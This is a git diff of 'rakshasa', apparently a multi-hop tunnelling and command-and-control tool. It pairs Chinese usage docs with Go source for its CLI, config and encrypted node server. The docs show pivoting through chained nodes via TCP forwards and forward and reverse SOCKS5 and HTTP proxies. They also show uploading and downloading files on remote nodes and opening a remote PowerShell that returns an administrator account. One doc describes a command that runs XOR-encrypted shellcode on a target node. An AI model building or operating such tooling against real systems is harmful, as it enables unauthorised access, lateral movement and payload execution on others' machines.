rakshasa>ping 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
|
||||
rakshasa>ping 192.168.1.137:8884
|
||||
ping 44b5b521-719c-4e2b-b069-ad176d8d88ba 0s
|
||||
```
|
||||
@@ -0,0 +1,79 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
## yaml文件例子,保存在启动目录下
|
||||
|
||||
```
|
||||
dstnode:
|
||||
- 192.168.1.180:8883
|
||||
password: ""
|
||||
port: 8883
|
||||
listenip:
|
||||
- 192.168.1.151
|
||||
limit: false
|
||||
filename: config.yaml
|
||||
```
|
||||
|
||||
#### 如果有启动参数将会覆盖掉yaml配置,如-d会覆盖掉dstnode
|
||||
|
||||
- dstnode 目标服务器 对应启动参数:-d
|
||||
- password 传输秘钥 对应启动参数:-password
|
||||
- port 本节点监听端口 对应启动参数:-p
|
||||
- listenip 本节点监听ip 其他节点断线后,将会尝试连接此ip与上述端口,通过使用-limit来关闭额外连接功能
|
||||
- limit 为true时候,除了目标服务器不会进行额外连接。默认为false,节点断线后,将会自动尝试连接所有以连接过的节点ip port。
|
||||
- filename 配置文件名字,控制台save时候保存
|
||||
|
||||
## shell使用说明
|
||||
|
||||
### save
|
||||
|
||||
修改的内容不会立刻写入文件,必须通过执行save之后才会保存到filename
|
||||
|
||||
### d
|
||||
|
||||
修改yaml的dstnode,使用方法 d 192.168.1.1:8883,192.168.1.2:8883
|
||||
|
||||
### password
|
||||
|
||||
修改yaml的password,使用方法 password "asdlkj" 解析双引号里面内容,结果不带双引号,参数可以不包含双引号,如果需要使用双引号请输入\\"
|
||||
|
||||
### port
|
||||
|
||||
修改yaml的port
|
||||
|
||||
### ip
|
||||
|
||||
修改yaml的listenip,可以配置多个ip,以,隔开
|
||||
|
||||
### limit
|
||||
|
||||
修改yaml的limit
|
||||
|
||||
### f
|
||||
|
||||
修改yaml的filename
|
||||
|
||||
|
||||
|
||||
```shell
|
||||
rakshasa>config
|
||||
rakshasa\config>help
|
||||
|
||||
Commands:
|
||||
clear clear the screen
|
||||
d 修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址
|
||||
exit exit the program
|
||||
f 修改配置文件名,使用方法 f config.yaml
|
||||
help display help
|
||||
info 打印当前配置
|
||||
ip 修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开
|
||||
limit 修改本节点Limit设置,使用方法 limit true
|
||||
new 与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082
|
||||
password 修改通讯密码,立即生效
|
||||
ping ping 节点
|
||||
port 修改监听端口,立即生效
|
||||
print 列出所有节点
|
||||
save 保存文件
|
||||
|
||||
|
||||
rakshasa\config>
|
||||
```
|
||||
@@ -0,0 +1,32 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### new-connect
|
||||
|
||||
从本机监听一个tcp端口,将请求转发到 目标节点连接到指定ip:port,正向tcp代理
|
||||
|
||||
使用方法 new-connect ip:port,remote_ip:remote_port 目标节点
|
||||
如 new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
|
||||
注:连接方向从左往右,如上例子,从本节点监听0.0.0.0:88,并将连接请求通过目标节点发送到192.168.1.180:8808
|
||||
|
||||
### list
|
||||
|
||||
打印出当前connect连接情况
|
||||
|
||||
### close
|
||||
|
||||
关掉一个connect
|
||||
|
||||
使用方法,先使用list获得当前执行的connect的id,再执行 close id
|
||||
|
||||
|
||||
|
||||
```shell
|
||||
rakshasa>connect
|
||||
rakshasa\connect>new-connect 0.0.0.0:88,192.168.1.180:8808 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
connect连接 44b5b521-719c-4e2b-b069-ad176d8d88ba 成功
|
||||
rakshasa\connect>list
|
||||
当前连接数量: 1
|
||||
ID 2 本地端口 0.0.0.0:88 远程端口 192.168.1.180:8808 服务器uuid 44b5b521-719c-4e2b-b069-ad176d8d88ba
|
||||
rakshasa\connect>close 2
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### new-httpproxy
|
||||
|
||||
新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件路径,如果远程节点为空,则为本地直接连
|
||||
如
|
||||
|
||||
new-httpproxy admin:123456@0.0.0.0:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt
|
||||
new-httpproxy 8080 out.txt
|
||||
|
||||
|
||||
|
||||
### list
|
||||
打印出当前http监听情况
|
||||
|
||||
### close
|
||||
关掉一个http监听
|
||||
|
||||
使用方法,先使用list获得当前执行的http的id,再执行 close id
|
||||
|
||||
```shell
|
||||
rakshasa>httpproxy
|
||||
rakshasa\httpproxy>new-httpproxy 8080
|
||||
httpproxy start :8080
|
||||
本地httpProxy启动成功
|
||||
rakshasa\httpproxy>list
|
||||
当前连接数量: 1
|
||||
ID 1 本地端口 :8080 转发服务器uuid 6268846f-f93e-4525-ad5c-ed6b3b773478
|
||||
rakshasa\httpproxy>close 1
|
||||
rakshasa\httpproxy>
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### file
|
||||
使用方法file 节点,如file 1,进入节点后可用cd,dir,upload,download命令
|
||||
- cd 切换远程工作目录
|
||||
- dir 列出当前目录下文件和文件夹信息
|
||||
- upload 上传文件,两个参数,参数二可为空,用法:upload 本地文件目录 远程目录(为空传到工作目录)
|
||||
- download 下载文件,两个参数,参数二可为空,用法:download 远程文件 本地目录(为空本地执行目录)
|
||||
|
||||
```shell
|
||||
rakshasa>remoteshell
|
||||
rakshasa\remoteshell>file
|
||||
参数错误
|
||||
rakshasa\remoteshell>print
|
||||
ID UUID HostName GOOS IP listenIP
|
||||
-----------------------------------------------------------------------------------------------------------------------------
|
||||
1 12a8f492-5fff-4b75-935a-533a276d546e DESKTOP-DAAI4F1 windows x64 (localhost):8883
|
||||
2 44b5b521-719c-4e2b-b069-ad176d8d88ba DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
|
||||
rakshasa\remoteShell>file 2
|
||||
4b5b521-719c-4e2b-b069-ad176d8d88ba d:/>help
|
||||
|
||||
Commands:
|
||||
cd 切换工作目录
|
||||
clear clear the screen
|
||||
dir 打印当前目录文件
|
||||
download 下载文件 ,download 远程文件 本地目录(为空本地执行目录)
|
||||
exit exit the program
|
||||
help display help
|
||||
upload 上传文件 ,upload 本地文件 远程目录(为空传到工作目录)
|
||||
|
||||
|
||||
44b5b521-719c-4e2b-b069-ad176d8d88ba d:/>
|
||||
```
|
||||
|
||||
### shell
|
||||
使用方法shell 节点 启动参数,如shell 1 powershell。启动参数可为空
|
||||
|
||||
windows下默认启动cmd
|
||||
|
||||
linux下默认启动bash,如启动失败可尝试改为/bin/sh或者/bin/zsh等
|
||||
|
||||
```shell
|
||||
rakshasa\remoteshell>shell 2 powershell
|
||||
Windows PowerShell
|
||||
版权所有 (C) Microsoft Corporation。保留所有权利。
|
||||
|
||||
尝试新的跨平台 PowerShell https://aka.ms/pscore6
|
||||
|
||||
|
||||
PS D:\> whoami
|
||||
desktop-daai4f1\administrator
|
||||
|
||||
PS D:\> exit
|
||||
请按回车键退出
|
||||
rakshasa\remoteshell>
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### new-remotesocks5
|
||||
|
||||
远程节点启动socks5代理,通过本节点连接到指定目标
|
||||
|
||||
使用方法 new-remotesocks5 port 目标节点
|
||||
如 new-remotesocks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
|
||||
|
||||
注:与socks5相反,是远程目标节点开启socks5,通过本节点转发输出
|
||||
|
||||
### list
|
||||
|
||||
打印出当前remoteSocks5连接情况
|
||||
|
||||
### close
|
||||
|
||||
关掉一个remoteSocks5
|
||||
|
||||
使用方法,先使用list获得当前执行的remoteSocks5的id,再执行 close id
|
||||
|
||||
|
||||
|
||||
```shell
|
||||
rakshasa>remotesocks5
|
||||
rakshasa\remotesocks5>print
|
||||
ID UUID HostName GOOS IP listenIP
|
||||
-----------------------------------------------------------------------------------------------------------------------------
|
||||
1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883
|
||||
2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
|
||||
rakshasa\remotesocks5>new-remotesocks5 1080 2
|
||||
节点 2 配置信息, 1080 ,启动socks5 到 本节点 成功
|
||||
rakshasa\remotesocks5>list
|
||||
当前连接数量: 1
|
||||
ID 1 本地端口 远程端口 :1080 服务器uuid e309f028-84ae-4452-88ab-83f1deab0cf4
|
||||
rakshasa\remotesocks5>close 1
|
||||
rakshasa\remotesocks5>
|
||||
```
|
||||
@@ -0,0 +1,4 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### run
|
||||
运行shellcode,参数一为目标节点(可以为本机),参数二为shellcode代码或者本地文件,参数三为xor解密key,参数四为启动参数,参数五为shellcode运行等待时间
|
||||
@@ -0,0 +1,34 @@
|
||||
[主菜单](./shell.md)
|
||||
|
||||
### new-socks5
|
||||
以本地socks5代理服务端模式运行,通过远程节点转发代理连接到指定目标,如果远程节点为空,则为本地直接连
|
||||
|
||||
使用方法 new-socks5 port 目标节点
|
||||
如 new-socks5 1080 57a3edbc-3120-48b3-95e3-bd712a5e2fe9
|
||||
|
||||
|
||||
|
||||
### list
|
||||
打印出当前socks5连接情况
|
||||
|
||||
### close
|
||||
关掉一个socks5
|
||||
|
||||
使用方法,先使用list获得当前执行的socks5的id,再执行 close id
|
||||
|
||||
```shell
|
||||
rakshasa>socks5
|
||||
rakshasa\socks5>print
|
||||
ID UUID HostName GOOS IP listenIP
|
||||
-----------------------------------------------------------------------------------------------------------------------------
|
||||
1 c105b8d2-77c7-462d-b0da-6d9785f77234 DESKTOP-DAAI4F1 windows x64 (localhost):8883
|
||||
2 e309f028-84ae-4452-88ab-83f1deab0cf4 DESKTOP-DAAI4F1 windows x64 192.168.1.137:8884
|
||||
rakshasa\socks5>new-socks5 2
|
||||
socks5 start :2
|
||||
本地socks5启动成功
|
||||
rakshasa\socks5>list
|
||||
当前监听端口数量: 1
|
||||
ID 2 本地监听端口 :2 转发服务器uuid c105b8d2-77c7-462d-b0da-6d9785f77234
|
||||
rakshasa\socks5>close 2
|
||||
rakshasa\socks5>
|
||||
```
|
||||
+111
@@ -0,0 +1,111 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"rakshasa/common"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
var rootCli = cliInit()
|
||||
|
||||
func CliRun() {
|
||||
rootCli.Run()
|
||||
}
|
||||
func init() {
|
||||
rootCli.SetPrompt("rakshasa>")
|
||||
}
|
||||
func cliInit() *ishell.Shell {
|
||||
shell := ishell.New()
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "ping",
|
||||
Help: "ping 节点",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,使用方法 ping 服务器地址")
|
||||
return
|
||||
}
|
||||
var err error
|
||||
n, err := getNode(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
|
||||
be := time.Now()
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
go n.ping(id)
|
||||
select {
|
||||
case <-resChan:
|
||||
n.deleteQuery(id)
|
||||
c.Println("ping", n.uuid, time.Since(be))
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("ping time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "new",
|
||||
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,使用方法 connect ip:端口")
|
||||
return
|
||||
}
|
||||
for _, addr := range strings.Split(c.Args[0], ",") {
|
||||
_, err := connectNew(addr)
|
||||
if err != nil {
|
||||
c.Println("连接", addr, "失败", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "print",
|
||||
|
||||
Help: "列出所有节点",
|
||||
Func: func(c *ishell.Context) {
|
||||
|
||||
printNodes(c)
|
||||
},
|
||||
})
|
||||
if common.Debug {
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "printConn",
|
||||
Help: "列出所有链接",
|
||||
Func: func(c *ishell.Context) {
|
||||
printConn()
|
||||
},
|
||||
})
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "printLock",
|
||||
Help: "列出所有锁",
|
||||
Func: func(c *ishell.Context) {
|
||||
printLock()
|
||||
},
|
||||
})
|
||||
shell.AddCmd(&ishell.Cmd{
|
||||
Name: "delete",
|
||||
Help: "sync.Map删除一个node ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数不对")
|
||||
return
|
||||
}
|
||||
n, ok := nodeMap[c.Args[0]]
|
||||
if ok {
|
||||
n.Delete("")
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
}
|
||||
return shell
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"gopkg.in/yaml.v3"
|
||||
"io/ioutil"
|
||||
"rakshasa/common"
|
||||
)
|
||||
|
||||
var currentConfig common.Config
|
||||
|
||||
func SetConfig(config common.Config) {
|
||||
currentConfig = config
|
||||
currentConfig.FileSave = false
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentNode.port = currentConfig.Port
|
||||
}
|
||||
func ConfigSave() error {
|
||||
b, _ := yaml.Marshal(currentConfig)
|
||||
err := ioutil.WriteFile(currentConfig.FileName, b, 0666)
|
||||
if err == nil {
|
||||
currentConfig.FileSave = true
|
||||
}
|
||||
return err
|
||||
}
|
||||
func ConfigLoad(filename string) error {
|
||||
b, err := ioutil.ReadFile(filename)
|
||||
if err == nil {
|
||||
var config common.Config
|
||||
err = yaml.Unmarshal(b, &config)
|
||||
if err == nil {
|
||||
|
||||
currentConfig = config
|
||||
currentConfig.FileSave = true
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
func GetConfig() common.Config {
|
||||
|
||||
return currentConfig
|
||||
}
|
||||
+743
@@ -0,0 +1,743 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
bufPool = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
return &bytes.Buffer{}
|
||||
},
|
||||
}
|
||||
closeChan = make(chan *bytes.Buffer, 1) //用于接收已关闭消息的黑洞chan
|
||||
)
|
||||
|
||||
// 节点的连接,包含listen来的和主动connect的
|
||||
type Conn struct {
|
||||
closeTag int32
|
||||
node *node
|
||||
nodeaddr string
|
||||
//key string
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan error
|
||||
regResultNode chan *node
|
||||
}
|
||||
|
||||
type serverListen struct {
|
||||
close int32
|
||||
node *node
|
||||
listen net.Listener
|
||||
isSocks5 bool
|
||||
socks5Replay []byte
|
||||
replayid uint32
|
||||
id uint32
|
||||
connMap sync.Map
|
||||
}
|
||||
type serverConnect struct {
|
||||
close int32
|
||||
id uint32
|
||||
windowsSize int64
|
||||
conn net.Conn
|
||||
node *node
|
||||
address string
|
||||
|
||||
write chan *bytes.Buffer
|
||||
|
||||
wait chan int
|
||||
closeReason string
|
||||
}
|
||||
|
||||
// 中转与最终出口
|
||||
func StartServer(port int) error {
|
||||
config := cert.Tlsconfig.Clone()
|
||||
fmt.Println("start on port:", port)
|
||||
|
||||
l, err := tls.Listen("tcp", ":"+strconv.Itoa(port), config)
|
||||
if err != nil {
|
||||
return fmt.Errorf("server start fail %v", err)
|
||||
}
|
||||
currentNode.listen = l
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
//封装一个符合common.server接口的server
|
||||
|
||||
c := &Conn{
|
||||
nodeConn: conn.(*tls.Conn),
|
||||
remoteAddr: conn.RemoteAddr().String(),
|
||||
}
|
||||
connMap.Store(c.remoteAddr, conn)
|
||||
go c.handlerNodeRead()
|
||||
go c.handle()
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
func init() {
|
||||
go func() {
|
||||
for b := range closeChan {
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
|
||||
}()
|
||||
}
|
||||
|
||||
func (conn *serverConnect) Close(reason string) {
|
||||
if atomic.CompareAndSwapInt32(&conn.close, 0, 1) {
|
||||
go func() {
|
||||
if conn.conn != nil {
|
||||
conn.conn.Close()
|
||||
}
|
||||
//fmt.Println(conn.fd, reason)
|
||||
conn.node.connMap.Delete(conn.id)
|
||||
conn.closeReason = reason
|
||||
conn.node.listenMap.Range(func(key, value interface{}) bool {
|
||||
value.(*serverListen).connMap.Delete(conn.id)
|
||||
return true
|
||||
})
|
||||
if reason != remoteClose {
|
||||
conn.node.Write(common.CMD_DELETE_CONNID, conn.id, nil)
|
||||
}
|
||||
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_CLOSE:
|
||||
case <-time.After(time.Second * 10):
|
||||
}
|
||||
conn.write <- nil
|
||||
conn.write = closeChan
|
||||
|
||||
}()
|
||||
}
|
||||
}
|
||||
func (c *Conn) Close(reason string) {
|
||||
|
||||
c.close <- reason
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) handTcpReceive() {
|
||||
go func() {
|
||||
for b := range conn.write {
|
||||
if b == nil {
|
||||
conn.write = closeChan
|
||||
return
|
||||
}
|
||||
if _, err := conn.conn.Write(b.Bytes()); err != nil {
|
||||
conn.Close(err.Error())
|
||||
}
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
}()
|
||||
var err error
|
||||
var n int
|
||||
defer func() {
|
||||
|
||||
if err != nil {
|
||||
conn.Close(conn.address + " 读取出错" + err.Error())
|
||||
} else {
|
||||
conn.Close(conn.address + " read异常关闭")
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for conn.close == 0 {
|
||||
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err = conn.conn.Read(buf)
|
||||
if err != nil {
|
||||
if atomic.LoadInt32(&conn.close) == 0 {
|
||||
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||
|
||||
return
|
||||
}
|
||||
continue
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
data := make([]byte, n)
|
||||
copy(data, buf)
|
||||
if common.Debug {
|
||||
|
||||
fmt.Println("发送", crc32.ChecksumIEEE(data), n)
|
||||
}
|
||||
conn.node.Write(common.CMD_CONN_MSG, conn.id, data)
|
||||
|
||||
atomic.AddInt64(&conn.windowsSize, -1*int64(n))
|
||||
|
||||
for atomic.LoadInt64(&conn.windowsSize) <= 0 && conn.close == 0 {
|
||||
|
||||
select {
|
||||
case flag := <-conn.wait:
|
||||
if flag == common.CONN_STATUS_CLOSE {
|
||||
return
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func (conn *serverConnect) Write(data []byte) {
|
||||
data = data[1:]
|
||||
windows_update_size := int64(data[0]) | int64(data[1])<<8 | int64(data[2])<<16 | int64(data[3])<<24 | int64(data[4])<<32 | int64(data[5])<<40 | int64(data[6])<<48 | int64(data[7])<<56
|
||||
|
||||
if windows_update_size != 0 {
|
||||
|
||||
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
|
||||
if old < 0 {
|
||||
go func() {
|
||||
select {
|
||||
case conn.wait <- common.CONN_STATUS_OK:
|
||||
case <-time.After(time.Second):
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
if common.Debug {
|
||||
|
||||
fmt.Println("收到", crc32.ChecksumIEEE(data[8:]), len(data[8:]))
|
||||
}
|
||||
b := bufPool.Get().(*bytes.Buffer)
|
||||
b.Reset()
|
||||
b.Write(data[8:])
|
||||
conn.write <- b
|
||||
}
|
||||
func (conn *serverConnect) handUdpReceive() {
|
||||
|
||||
var err error
|
||||
var n int
|
||||
defer func() {
|
||||
|
||||
if err != nil {
|
||||
conn.Close(conn.address + " 网站读取出错" + err.Error())
|
||||
} else {
|
||||
conn.Close(conn.address + " read异常关闭")
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
|
||||
for conn.close == 0 {
|
||||
conn.conn.SetReadDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err = conn.conn.Read(buf)
|
||||
if err != nil {
|
||||
if atomic.LoadInt32(&conn.close) == 0 {
|
||||
if e := err.Error(); !strings.Contains(e, ": i/o timeout") {
|
||||
|
||||
return
|
||||
}
|
||||
continue
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
b := make([]byte, n)
|
||||
copy(b, buf)
|
||||
conn.node.Write(common.CMD_CONN_UDP_MSG, conn.id, b)
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
|
||||
|
||||
netconn, err := net.DialTimeout("tcp", addr, time.Second*30)
|
||||
if err != nil {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 0
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
conn.Close("fd拨号失败")
|
||||
return
|
||||
} else {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 1
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, addr string) {
|
||||
writeResult := func(res bool) {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 0
|
||||
if res {
|
||||
buf[1] = 1
|
||||
}
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
}
|
||||
|
||||
if i := strings.IndexByte(addr, 32); i > -1 {
|
||||
cfg, err := common.ParseAddr(addr[i+1:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("地址解析失败")
|
||||
return
|
||||
}
|
||||
netconn, err := net.DialTimeout("tcp", cfg.Addr(), time.Second*2)
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("fd拨号失败")
|
||||
return
|
||||
} else {
|
||||
netconn.SetDeadline(time.Now().Add(time.Second * 30))
|
||||
netconn.SetWriteDeadline(time.Now().Add(time.Second * 30))
|
||||
switch cfg.Scheam() {
|
||||
case "", "http://":
|
||||
//请求代理
|
||||
data := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\nProxy-Connection: keep-alive\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\r\n", addr[:i], addr[:i])
|
||||
if cfg.GetHttpAuthorizationHeader() != "" {
|
||||
data += cfg.GetHttpAuthorizationHeader() + "\r\n\r\n"
|
||||
} else {
|
||||
data += "\r\n"
|
||||
}
|
||||
_, err = netconn.Write([]byte(data))
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("http代理发送消息失败")
|
||||
return
|
||||
}
|
||||
var resdata []byte
|
||||
var result [8192]byte
|
||||
var req = &http1request{}
|
||||
for {
|
||||
n, err := netconn.Read(result[:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("读取http代理结果失败")
|
||||
return
|
||||
}
|
||||
resdata = append(resdata, result[:n]...)
|
||||
l, _, err := parsereq(req, resdata)
|
||||
if err != nil {
|
||||
return
|
||||
} else if l > 0 {
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
if req.Status == "200 Connection established" {
|
||||
writeResult(true)
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("http代理连接失败")
|
||||
}
|
||||
writeResult(true)
|
||||
case "socks5://":
|
||||
_, err = netconn.Write([]byte{5, 1, 2})
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("socks5代理发送消息失败")
|
||||
return
|
||||
}
|
||||
var result [8192]byte
|
||||
|
||||
n, err := netconn.Read(result[:])
|
||||
if err != nil {
|
||||
writeResult(false)
|
||||
conn.Close("读取socks5数据出错")
|
||||
return
|
||||
}
|
||||
|
||||
if string(result[:n]) == string([]byte{5, 2}) { //需要认证
|
||||
user, password := cfg.User(), cfg.Password()
|
||||
if user == "" && password == "" {
|
||||
writeResult(false)
|
||||
conn.Close("socks5需要验证")
|
||||
return
|
||||
}
|
||||
|
||||
data := make([]byte, (3 + len(user) + len(password)))
|
||||
data[0] = 5
|
||||
data[1] = byte(len(user))
|
||||
copy(data[2:], user)
|
||||
data[2+len(user)] = byte(len(password))
|
||||
copy(data[3+len(user):], password)
|
||||
netconn.Write(data)
|
||||
n, err = netconn.Read(result[:])
|
||||
if err != nil || string(result[:n]) != string([]byte{5, 0}) {
|
||||
writeResult(false)
|
||||
conn.Close("密码校验不通过")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
data := []byte{5, 1, 0, 1}
|
||||
if u, err := url.ParseRequestURI(addr[:i]); err == nil {
|
||||
data[3] = 3
|
||||
data = append(data, byte(len(u.Scheme)))
|
||||
data = append(data, u.Scheme...)
|
||||
p, _ := strconv.Atoi(u.Opaque)
|
||||
port := []byte{byte(p >> 8), byte(p)}
|
||||
data = append(data, port...)
|
||||
} else if tcp4, err := net.ResolveTCPAddr("tcp4", addr[:i]); err == nil {
|
||||
data[3] = 1
|
||||
data = append(data, tcp4.IP.String()...)
|
||||
port := []byte{byte(tcp4.Port), byte(tcp4.Port >> 8)}
|
||||
data = append(data, port...)
|
||||
} else if tcp6, err := net.ResolveTCPAddr("tcp6", addr[:i]); err == nil {
|
||||
data[3] = 4
|
||||
data = append(data, tcp6.IP.String()...)
|
||||
port := []byte{byte(tcp6.Port), byte(tcp6.Port >> 8)}
|
||||
data = append(data, port...)
|
||||
}
|
||||
netconn.Write(data)
|
||||
n, _ = netconn.Read(result[:])
|
||||
if n >= 2 && string(result[:2]) == string([]byte{5, 0}) {
|
||||
writeResult(true)
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("socks5连接失败")
|
||||
}
|
||||
|
||||
default:
|
||||
writeResult(false)
|
||||
conn.Close("不支持的代理协议")
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
writeResult(false)
|
||||
conn.Close("无法获取代理地址")
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (conn *serverConnect) doHandleUdp() {
|
||||
for b := range conn.write {
|
||||
if b == nil {
|
||||
conn.write = closeChan
|
||||
return
|
||||
}
|
||||
|
||||
conn.conn.Write(b.Bytes())
|
||||
b.Reset()
|
||||
bufPool.Put(b)
|
||||
}
|
||||
}
|
||||
|
||||
var broadcastMap sync.Map //广播帧防止重复处理
|
||||
func (c *Conn) handlerNodeRead() {
|
||||
var err error
|
||||
defer func() {
|
||||
c.nodeConn.Close()
|
||||
c.Close("read错误" + err.Error())
|
||||
|
||||
}()
|
||||
|
||||
lengbuf := make([]byte, 2)
|
||||
for {
|
||||
_, err = io.ReadFull(c.nodeConn, lengbuf)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "i/o timeout") {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
buf := make([]byte, int(lengbuf[0])+int(lengbuf[1])<<8)
|
||||
_, err = io.ReadFull(c.nodeConn, buf)
|
||||
b := aes.AesCtrDecrypt(buf)
|
||||
msg := common.UnmarshalMsg(b)
|
||||
if common.Debug {
|
||||
fmt.Println("fromto", msg.From, msg.To, common.CmdToName[msg.CmdOpteion])
|
||||
}
|
||||
|
||||
